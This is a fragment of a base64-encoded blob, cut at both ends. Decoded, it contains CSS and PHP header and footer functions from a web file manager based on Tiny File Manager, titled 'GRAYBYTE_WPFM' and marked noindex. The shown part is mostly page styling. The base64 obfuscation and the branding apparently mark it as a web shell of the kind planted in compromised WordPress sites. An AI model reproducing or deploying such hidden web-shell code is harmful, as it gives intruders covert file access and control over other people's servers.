AtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDXC9wYXRoJTNFJTNDXC9zdmclM0VcIik7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEyMXB4O1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZyB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDM2MHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMi4zcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWwge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NrIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAyMHB4IDA7XG4gICAgICAgICAgICAgICAgY29sb3I6ICM4ODg7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwJTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHkge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uub2sge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3JlZW47XG4gICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmVycm9yIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogcmVkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IG9yYW5nZTtcbiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgZyxcbiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtcbiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDAzZTNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuaC0xMDB2aCB7XG4gICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7XG4gICAgICAgICAgICB9XG4gICAgICAgIDxcL3N0eWxlPlxuICAgIDxcL2hlYWQ+XG5cbiAgICA8Ym9keSBjbGFzcz1cImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+XCI+XG4gICAgICAgIDxkaXYgaWQ9XCJ3cmFwcGVyXCIgY2xhc3M9XCJjb250YWluZXItZmx1aWRcIj5cblxuICAgICAgICA8P3BocFxuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm1cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKVxuICAgIHtcbiAgICAgICAgPz5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cblxuPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW5cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKVxuICAgIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiB0ZXh0XC9odG1sOyBjaGFyc2V0PXV0Zi04XCIpO1xuICAgICAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgICAgIGhlYWRlcihcIlByYWdtYTogbm8tY2FjaGVcIik7XG5cbiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoO1xuICAgICAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cblxuICAgIDxoZWFkPlxuICAgICAgICA8bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIGNvbnRlbnQ9XCJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJhdXRob3JcIiBjb250ZW50PVwiQ0NQIFByb2dyYW1tZXJzXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJyb2JvdHNcIiBjb250ZW50PVwibm9pbmRleCwgbm9mb2xsb3dcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImdvb2dsZWJvdFwiIGNvbnRlbnQ9XCJub2luZGV4XCI+XG4gICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7XG4gICAgICAgICAgICBlY2hvICc8bGluayByZWw9XCJpY29uXCIgaHJlZj1cIicgLiBmbV9lbmMoJGZhdmljb25fcGF0aCkgLiAnXCIgdHlwZT1cImltYWdlXC9wbmdcIj4nO1xuICAgICAgICB9ID8+XG4gICAgICAgIDx0aXRsZT5HUkFZQllURV9XUEZNPFwvdGl0bGU+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZm9udC1hd2Vzb21lJyk7ID8+XG4gICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PlxuICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PlxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxuICAgICAgICAgICAgd2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+JztcbiAgICAgICAgPFwvc2NyaXB0PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBodG1sIHtcbiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgICAgICAgICAgICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgICAgICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7XG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAgICAgICAgIHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAqLFxuICAgICAgICAgICAgKjo6YmVmb3JlLFxuICAgICAgICAgICAgKjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjdGN0Y3O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNTVweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgYSxcbiAgICAgICAgICAgIGE6aG92ZXIsXG4gICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICBhOmZvY3VzIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZpbGVuYW1lLFxuICAgICAgICAgICAgdGQsXG4gICAgICAgICAgICB0aCB7XG4gICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubmF2YmFyLWJyYW5kIHtcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgLmRyb3Bkb3duLW1lbnUgYSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc2VhcmNoLWFkZG9uIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJsLTAge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyci0wIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFkLWNydW1iIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2NjY2NjYztcbiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHtcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLCB3aWR0aCAwcyAuMjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6ICMyMjIyMjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZSB0ZCxcbiAgICAgICAgICAgIC50YWJsZSB0aCB7XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LFxuICAgICAgICAgICAgLnRhYmxlIC5jdXN0b20tY2hlY2tib3gtaGVhZGVyIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gge1xuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1zbSB0aCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogLjRyZW07XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YxZjFmMTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmhpZGRlbiB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmUud2l0aC1obGpzIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlcjogMDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogc2Nyb2xsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBjb2RlLm1heGhlaWdodCxcbiAgICAgICAgICAgIHByZS5tYXhoZWlnaHQge1xuICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTtcbiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4O1xuICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNlY2VjZWNcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZhLmZhLWhvbWUge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucGF0aCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmb3JtLmRyb3B6b25lIHtcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogNnJlbTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnJpZ2h0IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY2VudGVyLFxuICAgICAgICAgICAgLmNsb3NlLFxuICAgICAgICAgICAgLmxvZ2luLWZvcm0sXG4gICAgICAgICAgICAucHJldmlldy1pbWctY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uge1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDRweCA3cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGdyZWVuO1xuICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlblxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7XG4gICAgICAgICAgICAgICAgY29sb3I6IHJlZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5hbGVydCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7XG4gICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy1pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiA4MHZoO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyk7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiB6b29tLWluXG4g